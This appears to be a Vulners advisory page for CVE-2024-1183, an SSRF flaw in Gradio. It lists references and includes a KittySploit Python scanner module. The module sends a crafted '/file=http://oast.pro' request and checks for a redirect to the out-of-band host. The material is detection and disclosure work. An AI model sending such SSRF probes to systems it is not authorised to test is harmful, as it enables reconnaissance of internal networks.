Gradio - Server Side Request Forgery Detection
| Reporter | Title | Published | Views | Family All 94 |
|---|---|---|---|---|
| CVE-2024-1183 | 26 Apr 202406:04 | – | circl | |
| Gradio 输入验证错误漏洞 | 15 Apr 202400:00 | – | cnnvd | |
| CVE-2024-1183 | 16 Apr 202400:00 | – | cve | |
| CVE-2024-1183 SSRF Vulnerability in gradio-app/gradio | 16 Apr 202400:00 | – | cvelist | |
| gradio Server-Side Request Forgery vulnerability | 16 Apr 202400:30 | – | github | |
| CVE-2024-1183 | 16 Apr 202400:00 | – | mend | |
| Gradio - Server Side Request Forgery | 15 Oct 202602:05 | – | nuclei | |
| CVE-2024-1183 | 16 Apr 202400:15 | – | nvd | |
| GHSA-QH6X-J82H-VPF9 gradio Server-Side Request Forgery vulnerability | 16 Apr 202400:30 | – | osv | |
| PYSEC-2026-1419 gradio Server-Side Request Forgery vulnerability | 7 Jul 202611:45 | – | osv-pysec |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attac."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Gradio - Server Side Request Forgery Detection',
'description': "An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2024', 'ssrf', 'oast', 'gradio', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/gradio-app/gradio/commit/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4',
'https://huntr.com/bounties/103434f9-87d2-42ea-9907-194a3c25007c',
],
'cve': 'CVE-2024-1183',
}
def run(self):
path = '/file=http://oast.pro'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
header_regexes = ('(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.pro.*$',)
if any(re.search(rx, headers) for rx in header_regexes):
self.set_info(severity='medium', reason='Gradio - Server Side Request Forgery detected', path=path)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
6.6Medium risk
Vulners AI Score6.6
CVSS 36.5
EPSS0.01799
SSVC